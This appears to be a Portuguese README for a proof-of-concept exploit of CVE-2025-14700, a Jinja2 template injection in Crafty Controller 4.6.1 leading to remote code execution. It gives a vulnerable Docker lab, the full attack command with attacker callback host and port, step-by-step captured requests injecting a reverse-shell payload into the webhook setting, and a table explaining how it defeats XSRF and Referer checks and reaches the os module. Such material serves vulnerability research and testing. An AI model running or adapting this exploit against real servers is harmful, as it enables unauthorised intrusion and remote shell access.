CVE-2025-14700

PoC para CVE-2025-14700, uma vulnerabilidade de Server-Side Template Injection (SSTI) no Crafty Controller <= 4.6.1. Essa vulnerabilidade permite que usuários autenticados alcancem Remote Code Execution (RCE) ao injetar templates Jinja2 maliciosos na configuração do Webhook.

📦 Instalação

# Clone the repository
git clone https://github.com/secdongle/POC_CVE-2025-14700
cd POC_CVE-2025-14700

🛠️ Ambiente de Testes (Docker Compose)

Para configurar uma instância vulnerável do Crafty Controller 4.6.1, use a seguinte configuração de docker-compose.yml:

1. Crie o `docker-compose.yml`

version: '3'
services:
  crafty:
    image: registry.gitlab.com/crafty-controller/crafty-4:4.6.1
    container_name: crafty-vulnerable
    ports:
      - "8443:8443"     # Web Dashboard
      - "25565:25565"   # Minecraft Server Port
    environment:
      - TZ=Asia/Shanghai
    volumes:
      - ./crafty_data:/crafty_db
    restart: unless-stopped

python poc.py -u https://10.67.3.77:8443 -l admin -lh 10.67.3.78 -lp 6699 -p 'iMbSnt@OLnBYnU%hVv0aRN2l5djUInSruxAHK2oP0j@QDs$6pkGa8dYEI!G$mLim"' [*] STEP 1: Visiting login page to retrieve initial _xsrf cookie... [*] STEP 2: Executing authentication (XSRF: 2|421c9864|03dd...) ================================================================================ [POST] https://10.67.3.77:8443/api/v2/auth/login/ -> HTTP 200 -------------------- [KEY HEADERS VALIDATION] -------------------- X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591 Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591 Referer: https://10.67.3.77:8443/login?next=%2Fpanel%2Fdashboard Content-Type: application/json -------------------- [RESPONSE BODY] ------------------------- { "status": "ok", "data": { "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k", "user_id": "1", "page": "/panel/dashboard" } } ================================================================================ [*] STEP 3: Creating exploit dummy server... ================================================================================ [POST] https://10.67.3.77:8443/api/v2/servers -> HTTP 201 -------------------- [KEY HEADERS VALIDATION] -------------------- X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k Referer: https://10.67.3.77:8443/panel/dashboard Content-Type: application/json -------------------- [RESPONSE BODY] ------------------------- { "status": "ok", "data": { "new_server_id": "d21f875b-3db0-42fa-92c7-2ba10cdf13ba" } } ================================================================================ [*] STEP 4: Injecting SSTI Reverse Shell payload... ================================================================================ [POST] https://10.67.3.77:8443/api/v2/servers/d21f875b-3db0-42fa-92c7-2ba10cdf13ba/webhook -> HTTP 200 -------------------- [KEY HEADERS VALIDATION] -------------------- X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k Referer: https://10.67.3.77:8443/panel/dashboard Content-Type: application/json -------------------- [RESPONSE BODY] ------------------------- { "status": "ok", "data": { "webhook_id": 13 } } ================================================================================ [*] STEP 5: Executing protocol-level trigger emulation (Critical Phase)... [*] Sending start_server action request... ================================================================================ [POST] https://10.67.3.77:8443/api/v2/servers/d21f875b-3db0-42fa-92c7-2ba10cdf13ba/action/start_server -> HTTP 200 -------------------- [KEY HEADERS VALIDATION] -------------------- token: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591 X-XSRFToken: 2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591 Cookie: _xsrf=2|421c9864|03dd0fa0ae22e9fb5f37bbe035507fd2|1766056591; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJpYXQiOjE3NjYwNTY1OTIsIm1mYSI6ZmFsc2V9.O8Sh-DlvU5CgxSP7oErWwog-lg5WUMiugLw_pnhFE5k Referer: https://10.67.3.77:8443/panel/dashboard -------------------- [RESPONSE BODY] ------------------------- { "status": "ok" } ================================================================================ [*] Sending EULA confirmation action request... [+] POC Execution completed. Check your nc listener (LHOST/LPORT).

Opção	Descrição
`-u, --url`	URL do Crafty Controller alvo (ex.: `https://10.67.3.77:8443`)
`-l, --login`	Nome de usuário para autenticação
`-p, --password`	Senha para autenticação
`-lh, --lhost`	IP do atacante para o callback do reverse shell
`-lp, --lport`	Porta do atacante para o callback do reverse shell

Requisito	Estratégia do Exploit
Token XSRF	Extrai `_xsrf` dos cookies e o espelha nos cabeçalhos `X-XSRFToken` e `token`.
Verificação de Referer	Define `Referer` como o caminho do dashboard para imitar a interação legítima do usuário.
Mapeamento de Cabeçalhos	Mapeia o valor de `_xsrf` para um cabeçalho `token` específico exigido pelo dispatcher de ações.
Payload	Utiliza `self._TemplateReference__context` para alcançar o módulo `os`.

POC_CVE-2025-14700

Mais Populares

2. Inicie o Ambiente

3. Inicialize o Controller

🚀 Uso

Exploração de Alvo Único

Opções de Linha de Comando

🎯 Recursos do Exploit

📊 Análise Técnica

📝 Exemplo de Saída

⚠️ Aviso Legal